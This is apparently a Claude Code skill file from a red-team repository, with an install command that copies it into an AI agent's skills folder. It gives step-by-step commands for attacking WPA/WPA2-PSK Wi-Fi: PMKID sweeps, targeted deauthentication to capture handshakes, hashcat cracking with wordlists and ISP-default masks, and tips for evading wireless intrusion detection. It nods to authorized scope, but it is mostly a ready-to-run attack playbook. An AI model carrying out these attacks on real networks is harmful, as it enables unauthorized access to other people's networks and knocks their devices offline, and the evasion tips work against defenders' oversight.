offensive-wpa2-psk
This Claude Code item automates WPA/WPA2-PSK network attacks, including PMKID extraction, four-way handshake capture via targeted deauthentication, conversion to hashcat format, and GPU-accelerated dictionary and mask-based password cracking. Use it when testing in-scope consumer or small business Wi-Fi networks protected by WPA Personal encryption, the industry standard for non-enterprise deployments.
git clone --depth 1 https://github.com/SnailSploit/Claude-Red /tmp/offensive-wpa2-psk && cp -r /tmp/offensive-wpa2-psk/Skills/wireless/offensive-wpa2-psk ~/.claude/skills/offensive-wpa2-pskSKILL.md
# WPA/WPA2-PSK Attacks The default mode for almost every consumer and SMB Wi-Fi network. The four-way handshake's PMKID and EAPOL frames give you everything you need to crack offline — no online attempts, no lockout, no detection signal beyond the deauth (which you can avoid with PMKID). ## Quick Workflow 1. Identify the target BSSID, channel, and encryption (see `offensive-wifi-recon`) 2. Try PMKID first (fast, no client interaction) 3. Fall back to four-way handshake capture if PMKID isn't yielded 4. Convert capture to hashcat-compatible format 5. Crack offline with appropriate wordlist + rules + masks --- ## PMKID Attack (Preferred When Possible) The PMKID is included in the first message of the four-way handshake. Many APs leak it in response to a single association request — no real client needed. ```bash # Setup sudo airmon-ng check kill && sudo airmon-ng start wlan0 sudo iw reg set US # Sweep PMKIDs across all visible APs sudo hcxdumptool -i wlan0mon -o pmkid.pcapng \ --enable_status=1 \ --filterlist_ap=targets.txt --filtermode=2 # Convert to hashcat format hcxpcapngtool -o hash.hc22000 pmkid.pcapng ``` `targets.txt` contains BSSIDs (one per line) you're authorized to attack. If `hash.hc22000` is empty, the AP doesn't yield PMKIDs. Move to four-way handshake. ## Four-Way Handshake Capture ```bash # Pin to channel sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon ``` If a client is associated: ```bash # Targeted deauth (single client, low volume) sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon ``` The handshake will appear in airodump's top-right corner as `WPA handshake: AA:BB:CC:DD:EE:FF`. **Why one client at a time:** broadcast deauth (no `-c`) trips WIDS quickly and is louder. A single 5-deauth burst targeted at one MAC is enough. ## Verifying the Capture ```bash hcxpcapngtool -o hash.hc22000 handshake-01.cap # Look for "M1+M2 ... AUTHORIZED" or "M2 ... AUTHORIZED" lines ``` If the tool reports the M1/M2 pair without proper EAPOL authentication, capture again. Bad / partial handshakes will fail to crack. ## Cracking ### Dictionary + Rules ```bash hashcat -m 22000 hash.hc22000 wordlist.txt -r rules/OneRuleToRuleThemAll.rule ``` Useful wordlists: - `rockyou.txt` (classic) - `weakpass_3` / `weakpass_4` (huge breach corpus) - `crackstation.txt` - Targeted: company name, products, locations ### Mask Attacks for Common Default Patterns ```bash # 10 digits (common ISP default — UPC, Vodafone, etc.) hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d?d?d # 8 digits (D-Link, ZTE) hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d # 8 hex (some Belkin / Linksys) hashcat -m 22000 hash.hc22000 -a 3 ?h?h?h?h?h?h?h?h # Phone number patterns hashcat -m 22000 hash.hc22000 -a 3 1?d?d?d?d?d?d?d?d?d?d ``` ### Vendor Default Generators Some ISP routers derive the PSK from the SSID prefix + serial number suffix using known algorithms: ```bash # UPC-XXXXXXX → upc_keys generates candidate keys upc_keys ESSID | hashcat -m 22000 hash.hc22000 - # Other generators: skylogin, BT-Hub-PSK-Generator, ZyxelKeygen # Check vendor-specific tools per router brand ``` ### 802.11r FT Cracking If 802.11r (Fast Transition) is enabled, the AP-to-AP key transit is captureable on the wired side or visible in air during roaming events. The PMK derivation gives an alternative crack path with the same hc22000 format. ## Tuning Cracking Performance ```bash # Show recommended workload tuning per GPU hashcat -b -m 22000 # Distributed cracking via hashtopolis or naive split hashcat -m 22000 hash.hc22000 wordlist.txt -s 0 -l 1000000 hashcat -m 22000 hash.hc22000 wordlist.txt -s 1000000 -l 1000000 ``` ## Opportunistic Key Cache (OKC) When OKC is enabled (common in WPA2-Enterprise too), the AP caches the PMK from a previous successful association and reuses it on roam — bypassing the full handshake. From an attacker view, OKC handshakes have the same recoverable PMK material; the impact is mostly that you'll see fewer M1/M2 pairs in the air. ## Detection Considerations | Signal | Defender View | |---|---| | Deauth burst | WIDS rule: >N deauth/sec with malformed reason codes | | PMKID flood (hcxdumptool default sends many association requests) | WIDS rule: rapid associations from a single MAC | | Monitor-mode interface | Some enterprise WIDS deployments fingerprint adjacent monitor radios | To minimize: PMKID with `--filtermode=2` (only target your authorized list), single targeted deauth bursts, randomize source MAC between captures. ## Engagement Cheatsheet ```bash # 1. Setup sudo airmon-ng check kill && sudo airmon-ng start wlan0 sudo iw reg set US # 2. PMKID sweep first echo "AA:BB:CC:DD:EE:FF" > targets.txt sudo hcxdumptool -i wlan0mon -o pmkid.pcapng \ --enable_status=1 --filterlist_ap=targets.txt --filtermode=2 # 3. Convert + try crack hcxpcapngtool -o hash.hc22000 pmkid.pcapng hashcat -m 22000 hash.hc22000 wordlist.txt -r best64.rule # 4. If empty PMKID, do four-way capture sudo airodump-ng -c <ch> --bssid AA:BB:CC:DD:EE:FF -w cap wlan0mon & sudo aireplay-ng --deauth 3 -a AA:BB:CC:DD:EE:FF -c <client> wlan0mon # 5. Convert + crack hcxpcapngtool -o hash.hc22000 cap-01.cap hashcat -m 22000 hash.hc22000 wordlist.txt -r OneRuleToRuleThemAll.rule # 6. Mask attacks if dictionary fails hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d?d?d ``` --- ## Key References - hashcat docs (mode 22000): hashcat.net/wiki/doku.php?id=cracking_wpawpa2 - hcxtools: github.com/ZerBea/hcxtools - ZerBea PMKID research (original 2018 disclosure) - 802.11i-2004 (WPA2 spec) - Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md
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